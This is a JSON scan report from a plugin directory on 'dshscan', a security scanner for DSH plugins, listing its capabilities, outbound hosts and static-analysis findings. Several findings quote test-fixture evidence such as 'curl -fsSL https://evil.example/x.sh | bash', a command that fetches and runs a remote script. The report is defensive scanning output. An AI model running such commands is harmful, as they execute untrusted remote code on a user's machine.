{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"shaoshi20-dshscan","slug":"shaoshi20-dshscan","rank":327,"url":"https://github.com/shaoshi20/dshscan","name":"shaoshi20/dshscan","category":"security","description":{"zh":"DSH 插件安全扫描器：对插件源码做静态与语义双通道检查，内置 DSH 特有攻击面规则，集成 npm audit，支持批量扫描，输出带严重等级与证据的 HTML 报告。","en":"Security scanner for DSH plugins: static and semantic passes over plugin source, DSH-specific attack-surface rules, npm audit, batch scanning, and an HTML report with per-finding severity and evidence."},"stars":8,"starsCheckedAt":"2026-08-21","repository":{"owner":"shaoshi20","repo":"dshscan","requestedRef":null,"subpath":""},"npm":"@shaoshi/dshscan","downloads":1768,"installMode":"npm","upstreamInstall":"dsh plugin --profile web add @shaoshi/dshscan","tarball":null,"added":"2026-08-21","page":"https://awesome-dsh-plugin.com/p/shaoshi20/dshscan/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"shaoshi20-dshscan","slug":"shaoshi20-dshscan","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:23:46.505Z","scanStatus":"static-complete","verdict":"review","score":73,"commit":"0633b01b2cdfa778b308b273580d4dffee28f661","commitDate":"2026-08-22T01:28:38+08:00","artifactDigest":"sha256:ebb1f0690fca871c1cf8c091cffd9f0da61b8b520a7564473ab1f6382e224863","downloadUrl":"https://github.com/shaoshi20/dshscan/archive/0633b01b2cdfa778b308b273580d4dffee28f661.tar.gz","installMode":"npm","installCommand":"dsh plugin --profile web add @shaoshi/dshscan","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"@shaoshi/dshscan","packageVersion":"0.5.0","bundle":{"patch":"./cordis.patch.yml"},"client":null,"lifecycleScripts":{},"peerDependencies":["@deepseek-ai/dsh-tools"]},"identity":{"status":"found","installMode":"npm","upstreamNpm":"@shaoshi/dshscan","manifestName":"@shaoshi/dshscan","nameMatch":true,"npm":{"name":"@shaoshi/dshscan","latestVersion":"0.5.0","publishedAt":"2026-08-20T16:36:59.384Z","createdAt":"2026-08-18T09:41:31.845Z","versionCount":17,"maintainers":1,"repository":"git+https://github.com/shaoshi20/dshscan.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"match","provenance":"attested","tarballHost":null,"versionMatch":"match"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"dshscan","name":"@shaoshi/dshscan","path":"cordis.patch.yml","disabled":false},{"id":"mcp-evil","name":"@deepseek-ai/dsh-mcp-client","path":"test-fixtures/dsh-malicious/cordis.patch.yml","disabled":false}],"overrides":[{"id":"tool-bash","tier":"sensitive","mode":"override","disabled":true,"replacesImplementation":false,"name":null,"keys":[],"path":"test-fixtures/dsh-malicious/cordis.patch.yml"}],"jsExpressions":0,"clientPlatform":null,"parseErrors":[]},"capabilities":["agent-control","browser-ui","credentials","environment","filesystem","host-bundle","mcp","network","subprocess","telemetry"],"outboundHosts":[{"host":"evil.example","count":3},{"host":"dshbase.com","count":2},{"host":"api.openai.com","count":2},{"host":"paste.ee","count":1}],"findings":[{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"benchmark/cases/malicious-remote-download-exec/index.mjs","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"f69e8a598a1bbd16b6e63172"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"src/cli.ts","pathClass":"source","line":256,"evidence":".innerHTML=","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用","hash":"455267de9e4ba0c24362cf13"},{"id":"HT-CLIENT-001","title":"浏览器端使用危险 HTML 注入点","severity":"medium","confidence":"low","layer":"static","path":"src/cli.ts","pathClass":"source","line":261,"evidence":".innerHTML=","remediation":"使用安全 DOM API，并在不可避免时对不可信内容进行严格清洗。","note":"附近存在清洗/转义调用","hash":"455267de9e4ba0c24362cf13"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/rules.ts","pathClass":"source","line":28,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"87d326e3c6457a4ef11b3cf2"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/rules.ts","pathClass":"source","line":30,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"87d326e3c6457a4ef11b3cf2"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"src/rules.ts","pathClass":"source","line":26,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中","hash":"8524c0e0878d6b030eefd630"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/scanner.ts","pathClass":"source","line":1,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"cd7babf669696304261c585d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"src/scanner.ts","pathClass":"source","line":1,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"3a948c20b5b8702c8bf97ad9"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test-fixtures/dsh-malicious/cordis.patch.yml","pathClass":"cordis","line":8,"evidence":"curl https://evil.example/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认","hash":"9c6d55a4d2956e340a95ddcc","review":{"verdict":"placeholder","reason":"该文件位于 test-fixtures/dsh-malicious/ 目录，是用于验证扫描规则的测试样例 cordis patch，非真实加载的 bundle 配置。","model":"sonnet","reviewedAt":"2026-08-21T10:52:15.795Z"}},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test-fixtures/malicious/install.sh","pathClass":"script","line":2,"evidence":"curl -fsSL https://evil.example/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","hash":"2c08f9d06d301143fc9899d4","review":{"verdict":"placeholder","reason":"该文件位于 test-fixtures/malicious/ 目录，是扫描器自测用的恶意样本 fixture，不会被插件本身执行。","model":"sonnet","reviewedAt":"2026-08-21T10:52:15.795Z"}},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":29,"evidence":"subprocess.run","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"3e25fd4d28ba4632eaf9ea67"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"medium","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":33,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"命令由运行时变量拼接，需确认输入来源是否可信；位于测试、示例或文档目录","hash":"5c0efdf7384ffffe5e0f3632"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":9,"evidence":"curl|bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"c6ec88bbb24bc914f2c7a833"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":10,"evidence":"curl -fsSL https://evil.example/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"9dbd149c729782b760ae36e5"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":26,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"以方法或属性形式出现（如 x.eval），并非全局 eval；位于测试、示例或文档目录","hash":"eaf599cba0fb82520b0d127f"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/scanner.test.mjs","pathClass":"test-example-docs","line":27,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中；位于测试、示例或文档目录","hash":"eaf599cba0fb82520b0d127f"},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"src/semantic.ts","pathClass":"source","line":17,"evidence":"credential access at line 17 + outbound network at line 67","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"3d8381aaa395b767ba61427a","review":{"verdict":"functional","reason":"apiKey取自用户自设的DSCAN_LLM_API_KEY/OPENAI_API_KEY，仅用于向用户可配置的baseUrl（默认官方OpenAI地址）发起语义扫描请求，是插件语义分析功能的必要实现。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:23:29.580Z"}},{"id":"HT-PERMISSION-002","title":"覆盖敏感宿主能力","severity":"medium","confidence":"medium","path":"test-fixtures/dsh-malicious/cordis.patch.yml","line":9,"evidence":"override: id=tool-bash disabled=true","remediation":"安全关键 seam 的替换必须逐项解释、最小化，并接受人工复核；用户安装前应知晓该能力被谁接管。","note":"关闭 Bash 工具（tool-bash）；该配置随包分发但未被 dsh.bundle 引用，只有用户手动应用时才生效","layer":"dsh-semantics","pathClass":"cordis","hash":"cf5c810125e3e90e12f6e92b"},{"id":"HT-VULN-001","title":"依赖存在已知漏洞","severity":"high","confidence":"medium","path":"package-lock.json","pathClass":"manifest","line":1,"evidence":"adm-zip@0.5.18 GHSA-xcpc-8h2w-3j85 (CVE-2026-39244) fixed in 0.6.0","remediation":"升级 adm-zip 至 0.6.0 或更高版本。","layer":"vulnerability","hash":"5c33dd3002ac7b52a7cc6e2c","review":{"verdict":"unclear","reason":"package-lock.json 显示 adm-zip 依赖版本符合 ^0.5.16，但 GHSA-xcpc-8h2w-3j85/CVE-2026-39244 是否真实存在及是否影响该版本无法在此上下文中核实。","model":"sonnet","reviewedAt":"2026-08-21T10:52:15.795Z"}}],"counts":{"critical":0,"high":1,"medium":2,"low":4},"rawCounts":{"critical":4,"high":4,"medium":5,"low":6},"vulnerabilities":[{"id":"GHSA-xcpc-8h2w-3j85","aliases":["CVE-2026-39244"],"package":"adm-zip","version":"0.5.18","severity":"high","fixed":"0.6.0","summary":"adm-zip: Crafted ZIP file triggers 4GB memory allocation"}],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":78,"bytesScanned":196375,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":53,"markdown":7,"cordis":2,"source":11,"data":2,"manifest":2,"script":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:23:46.505Z","summary":null,"intentMatch":null,"findingsReviewed":4,"findingsCandidates":4,"fromCache":4,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:23:46.505Z","commit":"0633b01b2cdfa778b308b273580d4dffee28f661","policyVersion":"HT-DSH-0.2.2","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T13:16:41.047Z","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.2","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T13:16:18.424Z","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.2","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T11:23:29.580Z","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.1","verdict":"review","status":"static-complete"},{"scannedAt":"2026-08-21T10:52:15.795Z","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.0","verdict":"review","status":"static-complete"}],"events":[{"kind":"commit-change","from":"e08871356e2cd60f72e1b1880dacbf19f41b8056","to":"0633b01b2cdfa778b308b273580d4dffee28f661","commit":"0633b01b2cdfa778b308b273580d4dffee28f661","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:23:46.505Z"},{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.2","at":"2026-08-21T13:16:18.424Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:23:29.580Z"},{"kind":"first-scan","from":null,"to":"review","commit":"e08871356e2cd60f72e1b1880dacbf19f41b8056","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:52:15.795Z"}]}